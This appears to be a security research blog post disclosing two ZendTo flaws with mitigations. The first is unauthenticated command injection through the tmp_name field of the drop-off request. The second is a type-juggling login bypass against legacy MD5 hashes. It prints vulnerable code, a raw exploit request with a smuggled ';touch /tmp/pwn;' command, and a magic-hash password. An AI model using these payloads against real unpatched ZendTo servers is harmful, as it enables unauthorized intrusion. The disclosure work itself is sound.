ZendTo NDay Vulnerability Hunting - Unauthenticated RCE in v5.24-3 <= v6.10-4
Discovering NDay flaws in ZendTo filesharing software highlighted an interesting fact: without the issuance of CVEs, vulnerabilities can easily go unpatched.

File-sharing software is always a fun target for security research. It's usually internet facing and often used by large organisations, ZendTo is no exception.
ZendTo is a completely free web-based system, which you can run on your own server with complete safety and security. It runs from any Linux / Unix server or virtualisation system, there is no size limit and it will send files 50% faster than by email.
During our investigation, we spotted a quite a few of instances of ZendTo that aren't patched for the unauthenticated RCE N-Day we uncovered. đź‘€
My research uncovered two vulnerabilities of high impact:
- Unauthenticated File Dropoff Remote Code Execution (RCE) - ZendTo v5.24-3 <= v6.10-4
- Authentication Bypass via Type Juggling - ZendTo <= v5.03-1
- For ZendTo > v5.03-1 authentication bypass is still possible for users with legacy MD5 hashes.
Unauthenticated File Dropoff Remote Code Execution - ZendTo v5.24-3 <= v6.10-4
While reviewing ZendTo's changelog, we noticed a vague reference to a 'security fix' - no CVE, no severity rating, and no technical details about the impact are published.

This prompted us to investigate what this change actually fixed. As it turns out, the security fix patched a serious unauthenticated remote code execution vulnerability.
One key feature of ZendTo is the file Drop-off functionality. Here's how the functionality works:
- Authentication: Users login or perform an anonymous Drop-off via email verification.
- Some organisations turn off anonymous Drop-off but the vast majority of instances have this enabled.
- Drop-off Initiation: After clicking the button, users provide some information including the recipient of the file.
- File Selection: Users attach one or more files for transfer.
- Virus Scanning: Before processing, the system scans the file using ClamAV (important).
- Completion: Clean files are successfully uploaded and queued for delivery.
By default, anonymous file Drop-off is permitted. The only restriction is that the recipient of your file Drop-off needs to have an email address associated with an 'internal' domain (normally the hosting organisation's domain name).
root@70982d4a0ff9:/tmp# cat /opt/zendto/config/internaldomains.conf
# In here you can list the domain names that contain email addresses of
# your own users.
# When people from outside your organisation try to send dropoffs,
# they can only send them to people *within* your organisation.
# (Else people outside would use your service to send pr0n and ware2 to
# other people outside, which would be A Very Bad Thing(tm).)
Colourful comments in configuration files

During the Drop-off process, 2 POST
requests are made by the client:
POST /savechunk
POST /dropoff
Let's take a look at each of them.
POST /savechunk
Inspecting the POST /savechunk
request, there's a couple of fields of interest:
chunkName
: name of the filechunkOf
: "extension" or identifier of the file
POST /savechunk HTTP/1.1
[...SNIP...]
------WebKitFormBoundaryPlxJ0HYYjGjTMABV
Content-Disposition: form-data; name="chunkName"
aWtiE8rpoihPTGsVNGCxpHDohzbc7tSc
------WebKitFormBoundaryPlxJ0HYYjGjTMABV
Content-Disposition: form-data; name="chunkOf"
1
------WebKitFormBoundaryPlxJ0HYYjGjTMABV
Content-Disposition: form-data; name="chunkData"; filename="blob"
Content-Type: application/octet-stream
<?php echo "Project Black"; ?>
------WebKitFormBoundaryPlxJ0HYYjGjTMABV--
With the above request, the uploaded file looks something like this: path-to-upload/aWtiE8rpoihPTGsVNGCxpHDohzbc7tSc.1
If we could manipulate some of these fields we may be able to upload a PHP file to within the web root, however taking a quick look at the code where this is implemented - savechunk.php
, there are 3 primary factors that block this.
- By default, the uploaded location is outside of the web root directory.
39 $dirName = ini_get('upload_tmp_dir');
A small script might help us to confirm that.
$ cat upload_dir.php
<?php
require "../config/preferences.php";
$dirName = ini_get('upload_tmp_dir');
echo $dirName;
echo "\n";
?>
$ php upload_dir.php
/var/zendto/incoming
- The
chunkName
value is passed into the$name
variable (line49
). Any non-alphabetic characters are then removed (line52
). In other words, attempts at path traversals will fail due to the violated.
and/
characters.
49 $name = @$_POST['chunkName'];
...
51 // Sanitise the chunkName
52 $lastElement = preg_replace('/[^0-9a-zA-Z]/', '', $name);
- Finally, the
chunkOf
value is restricted to only numbers.
74 $number = @$_POST['chunkOf'];
75 $fileNum = preg_replace('/[^0-9]/', '', $number);
Moving on to the dropoff
request.
POST /dropoff
The dropoff
request is where the actual processing of the files occurs and where our RCE lies. The vanilla request looks something like the following:
POST /dropoff HTTP/1.1
[...SNIP...]
------WebKitFormBoundaryAnbtGG8mSSGTMjRY
Content-Disposition: form-data; name="Action"
dropoff
------WebKitFormBoundaryAnbtGG8mSSGTMjRY
Content-Disposition: form-data; name="chunkName"
aWtiE8rpoihPTGsVNGCxpHDohzbc7tSc
------WebKitFormBoundaryAnbtGG8mSSGTMjRY
Content-Disposition: form-data; name="file_1"
{"name":"test.php","type":"","size":"34","tmp_name":"1","error":0}
[...SNIP...]
The handling of the file drop-off is within this NSSDropoff
class.
Interestingly, the code calls chmod against our uploaded files exec("/bin/chmod go+r " . $ccfilelist);
on line 2992
.
If we can control $ccfilelist then we have RCE.
2970 $clamdscancmd = $this->_dropbox->clamdscan();
2971 if ($clamdscancmd != 'DISABLED') {
2972 $ccfilecount = 1;
2973 $ccfilelist = '';
2974 $foundsometoscan = FALSE;
...
2979 $filekey = "file_".$ccfilecount;
2980 $selectkey = "file_select_".$ccfilecount;
...
2986 $ccfilelist .= ' ' . $_FILES[$filekey]['tmp_name'];
2987 $foundsometoscan = TRUE;
2988 }
2989 $ccfilecount++;
2990 }
2991 if ($foundsometoscan) { // Don't do any of this if they uploaded nothing
2992 exec("/bin/chmod go+r " . $ccfilelist); // Need clamd to read them!
2993 $clamdinfected = 0;
2994 $clamdoutput = array();
2995 $clamcmd = exec($clamdscancmd . $ccfilelist,
2996 $clamdoutput, $clamdinfected);
On line 2986
, the $ccfilelist
variable is appears to be defined by temporary file path - tmp_name
which is randomly generated by PHP.
[tmp_name] => /tmp/php/php1h4j1o (could be anywhere on your system, depending on your config settings, but the user has no control, so this isn't tainted)
https://www.php.net/manual/en/reserved.variables.files.php
However, this value is overwritten earlier to a value provided by the user without any sanitisation (line 2903
).
2530 $chunkName = preg_replace('/[^0-9a-zA-Z]/', '', $_POST['chunkName']);
2531 $chunkName = substr($chunkName, 0, 100);
2532 $chunkPath = ini_get('upload_tmp_dir');
...
2535 $chunkPath .= $chunkName;
...
2890 for ($i=1; $i<=$this->maxFilesKey; $i++) {
2891 $key = 'file_'.$i;
2892 if (array_key_exists($key, $_POST) && !empty($_POST[$key])) {
2893 // The file has been uploaded in chunks
2894 $json = $_POST[$key];
2895 $f = json_decode($json, TRUE);
...
2903 $new['tmp_name'] = $chunkPath . '.' . $f['tmp_name'];
Exploitation is a simple as sending a request with a tmp_name of 1;command
.
------WebKitFormBoundaryAnbtGG8mSSGTMjRY
Content-Disposition: form-data; name="chunkName"
aWtiE8rpoihPTGsVNGCxpHDohzbc7tSc
[...SNIP...]
------WebKitFormBoundaryAnbtGG8mSSGTMjRY
Content-Disposition: form-data; name="file_1"
{"name":"test.php","type":"","size":"34","tmp_name":"1;touch /tmp/pwn;","error":0}
The request above will cause the server to create a /tmp/pwn
file.
If you'd like to test exploitation, a quick lab environment can be created using our POC.
Mitigation
Only ZendTo v5.24-3 <= v6.10-4 instances are vulnerable, so upgrading the server to ZendTo >= v6.10-7 will remediate the vulnerability.
Authentication Bypass via Type Juggling - ZendTo <= v5.03-1
This brings us to my second discovery. An authentication bypass which affects all users with a legacy MD5 local password hash.
If you are using local authenticator (default) to manage users on ZendTo <= v5.03-1, the authentication process will be handled by the following code block.
// ./lib/NSSAuthenticator.php
115 public function authenticate( &$uname, $password, &$response )
116 {
117 $result = FALSE;
118
119 if ( preg_match($this->_prefs['usernameRegexp'], strtolower($uname),$pieces) )
120 {
121 $q = $this->_db->DBReadLocalUser($uname);
122
123 if ($q) {
124 if (md5($password) == $q[0]['password']) {
125 $response = array(
126 'uid' => $q[0]['username'],
127 'mail' => $q[0]['mail'],
128 'cn' => $q[0]['displayname'],
129 'displayName' => $q[0]['displayname'],
130 'organization' => $q[0]['organization']
131 );
132 $result = TRUE;
133 } else {
134 $result = FALSE;
135 }
136 } else {
137 $result = FALSE;
138 }
139
140 // Chain to the super class for any further properties to be added
141 // to the $response array:
142 parent::authenticate($uname,$password,$response);
143 }
144 return $result;
145 }
On line 124
, our input password is hashed using the md5
algorithm and is loosely compared using the ==
operator.
121 $q = $this->_db->DBReadLocalUser($uname);
...
124 if (md5($password) == $q[0]['password']) {
If a md5
string starts with 0e
followed by only numbers, PHP will interprets it as scientific notation. For instance, 0e1234
will be interpreted as a floating-point number 0*10^1234
, which is 0
and 0 == 0 -> true
.
In other words, if a user has a MD5 password and their hash happens to start with 0e
and end in a number.
We can use any passwords in the below list to login as that user.
To demonstrate, lets assume that there is a user with a vulnerable password.
sqlite> select * from usertable;
jay|0e132123456789123456789123456789|[email protected]|Jay|Prjblk|
Due to the type juggling vulnerability, we can log in with any other password that makes the resulting MD5 hash look like a number.
MD5(1R7jqMIf6T7t): 0e381567347928220347073343854712

Mitigation
First, upgrade ZendTo to a version >= v5.04-7 then have all users log in as least once to transition their password to bcrypt.
For ZendTo > v5.03-1 authentication bypass is still possible for users with legacy MD5 hashes.